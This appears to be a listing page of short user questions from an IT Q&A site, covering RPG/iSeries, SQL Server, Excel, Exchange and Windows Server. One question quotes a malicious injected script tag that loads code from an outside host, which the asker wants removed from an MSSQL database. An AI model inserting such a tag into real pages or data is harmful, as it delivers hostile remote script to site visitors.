Questions & Answers
Active Directory, AS/400, Business Intelligence, Career Development, CIO, Cisco, Database, DataCenter, Desktops, Development, Exchange 2003, Exchange 2007, Hardware, iSeries, IT Strategy, Linux, Lotus Domino, Lotus Notes, Management, Marketing, Marketing Technology, Microsoft Access, Microsoft Excel, Microsoft Windows, Mobile, Networking, Oracle, OS, Outlook, Outlook 2003, Outlook 2007, Routers, RPG, RPGLE, SAP, Security, Servers, SQL Server, SQL Server 2005, Storage, Tech support, Virtualization, Visual Basic, VoIP, VPN, Windows 7, Windows Server, Windows Server 2003, Windows Server 2008, Windows XP ...VIEW ALL TAGS
- Business Intelligence
- Career Development
- Cloud Computing
- Content Management
- Data Management
- Desktop Management
- Email Administration
- IT Strategy
- Lotus Domino
- Microsoft Exchange
- Microsoft Windows
How do I find duplicate records in a table?
Hi, I have 2 emails that report answers to my question but the links no longer go to my question but to some generic IT Answer page. A search does not find my question. What do I do?
I need a t-SQL routine that will remove this script '</title><script src=http://statsmy.com/ur.php ></script>' from my MSSQL database. The routine needs to either ignore text / Ntext variables or also fix them. Thanks for your help!
I want to know the use of SFLRCDNBR Keyword used in Subfile . I also want any sample Code of how it is handled in the RPGLE Program?
Hi all, presently I have one year of experience in the networking field. I want change my domain to DBA. Now I'm confused whether to continue with CCNA or to change to DBA. Please, can anyone suggest to me which will be the best for my career in all aspects? Please help me out
When I'm tried to save a spreadsheet in Microsoft Excel 2007, I often get this "privacy warning" message. This happens with both macro and on-macro spreadsheets. Is there any way to get rid of this message?
What is the full form of RPG ILE?
I want to move a numeric field (15,2) to a character field of length 15. I want the character field output with decimal points... For example ...>Input-----> A=123 , B is a character If I move numeric A to character B, character OUTPUT B should be 0000000000123.00
I am using the CPYFRMIMPF to copy data from a TXT file into a DB file. The delimiter is a ']' character. The command runs but no records are copied. The error says "0 records copied from member TXT. Copy command ended because of error". Upon further review I found "The copy did not...
Receiving this error message "File system error occurred. Error number 3025. Copy command ended because of error." Any suggestions
I am trying to use 'Transfer data from iSeries' add-on from within Excel. I have specified my library/file as : <><><><><><><> TANFILE/NCUFFLDR Data Option as: Select NCUFFLDR_COMPANY_TYPE Where (NCUFFLDR_COMPANY_TYPE=M)...
Hi everyone, could someone provide VBA code to automate the Transfer of data from the iSeries into an Excel 2003 Spreadsheet. Currently we have to manually use the iSeries Excel Add-In. All fields are left default except the Library/File field where we enter PRODDTA/F56EXT. The data then transfers...
I have created a toolbar button to send emails to help desk. The code looks up Clntmachine field in names.nsf. It works okay but is not picking up last machine logged onto. How can I make it choose last Machine access on list? Excuse the code (its clunky but works almost I only know basic format...
How do I retrieve, add and update data from SQL Server 2005 manually using VB.NET 2005?
I do not have the XML toolkit package on my i5 525. We are running V5R4. Is there still a way for me to import XML files and run in RPG ILE? I have a customer that wants to send us orders via email and XML is one of the formats they could provide for us.
I received an XML-document via mail, I detached it and placed it into the IFS. Then I wrote an RPG-program where I used the XML-INTO command to read the XML-document. But, when I run my program I always get the error "The XML parser detected error code 302" I think there's something wrong with the...
Every time I log into a Server 2012 Core installation locally, I have to type powershell to get to the PowerShell command line instead of just cmd. How can I configure the server to go into a PowerShell prompt instead of cmd, without removing the PowerShell Windows Feature?
We are receiving emails to a public folder from an external source. Unfortunately not all the emails he sends are going into the folder. We can prove that the server has received them, but we can’t locate them. Any ideas?
I have created a public folder to store Excel spreadsheets that I need users to be able to access and change. I understand the permissions. My question is can more than 1 user be in the same spread sheet at one time and make individual changes. Will all changes be saved?
I have an application built on .NET Framework 4.0 but it's not working with Windows Server 2012. From what I've seen online, Server 2012 isn't supported by it. Is there anything I can do to support it without converting it to 4.5?